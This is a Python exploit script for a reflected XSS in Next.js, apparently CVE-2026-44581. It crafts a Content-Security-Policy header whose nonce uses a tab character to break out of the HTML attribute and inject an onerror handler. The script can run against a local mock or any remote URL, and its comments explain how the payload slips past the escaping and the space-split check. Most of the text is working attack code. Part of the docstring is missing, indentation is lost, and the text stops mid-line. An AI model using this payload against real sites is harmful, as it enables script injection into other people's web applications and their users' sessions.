#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
CVE-2026-44581 / GHSA-ffhc-5mcf-pf4q -- Next.js CSP-nonce reflected XSS exploit.
The Next.js (<16.2.5) App Router renderer extracts the script `nonce` from a
`Content-Security-Policy` request header and reflects it into:
WITHOUT attribute-context escaping. A nonce like `" onerror="alert(1)`
breaks out of the attribute and creates a free-standing onerror handler.
Usage:
python3 exploit.py # local mock + exploit
python3 exploit.py http://target/path # remote target
"""
import os
import signal
import subprocess
import sys
import time
import urllib.request
class C:
R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
B = "\033[1m"; X = "\033[0m"
def banner():
print(C.CY + C.B + "=" * 65 + C.X)
print(C.CY + C.B + " CVE-2026-44581 -- Next.js CSP-nonce reflected XSS" + C.X)
print(C.CY + C.B + " Patched in 16.2.5 (commit b4c6705c70)" + C.X)
print(C.CY + C.B + "=" * 65 + C.X)
def maybe_start_mock(port: int = 8081):
here = os.path.dirname(os.path.abspath(__file__))
server = os.path.join(here, "vulnerable-app", "server.py")
proc = subprocess.Popen(
[sys.executable, server, "--port", str(port)],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
)
time.sleep(1.0)
return proc
def run(target: str | None) -> int:
banner()
proc = None
if not target:
print(C.Y + "[*] no target supplied -> launching local mock on :8081" + C.X)
proc = maybe_start_mock(8081)
target = "http://127.0.0.1:8081/"
# The malformed CSP -- legacy parser uses .split(' ') so the source MUST NOT
# contain a literal space (otherwise it splits into separate tokens and the
# 'startsWith("'nonce-") && length > 8 && endsWith("\'")' predicate fails).
# We use TAB (\t) as the inter-attribute whitespace -- HTML happily accepts
# \t as an attribute separator, but JS's .split(' ') leaves the token intact.
# ESCAPE_REGEX only matches [<>&\u2028\u2029] -- " and tab slip through.
payload = '"\tonerror="alert(\'VALIDATION_TOKEN\')'
csp = f"script-src 'nonce-{payload}'"
print(f"{C.B}[*] Target:{C.X} {target}")
print(f"{C.B}[*] CSP header:{C.X} {csp}\n")
req = urllib.request.Request(target, headers={"Content-Security-Policy": csp})
try:
with urllib.request.urlopen(req, timeout=10) as r:
body = r.read().decode("utf-8", errors="replace")
srv_mode = r.headers.get("X-Server-Mode", "?")
reflected = r.headers.get("X-CSP-Nonce-Reflected", "?")
except Exception as e:
print(C.R + f"[-] request failed: {e}" + C.X)
return 2
finally:
if proc:
try: os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
except ProcessLookupError: pass
print(f"{C.B}[i] X-Server-Mode:{C.X} {srv_mode}")
print(f"{C.B}[i] X-CSP-Nonce-Reflected:{C.X} {reflected}\n")
print(C.B + "--- relevant response lines ---" + C.X)
for line in body.splitlines():
if "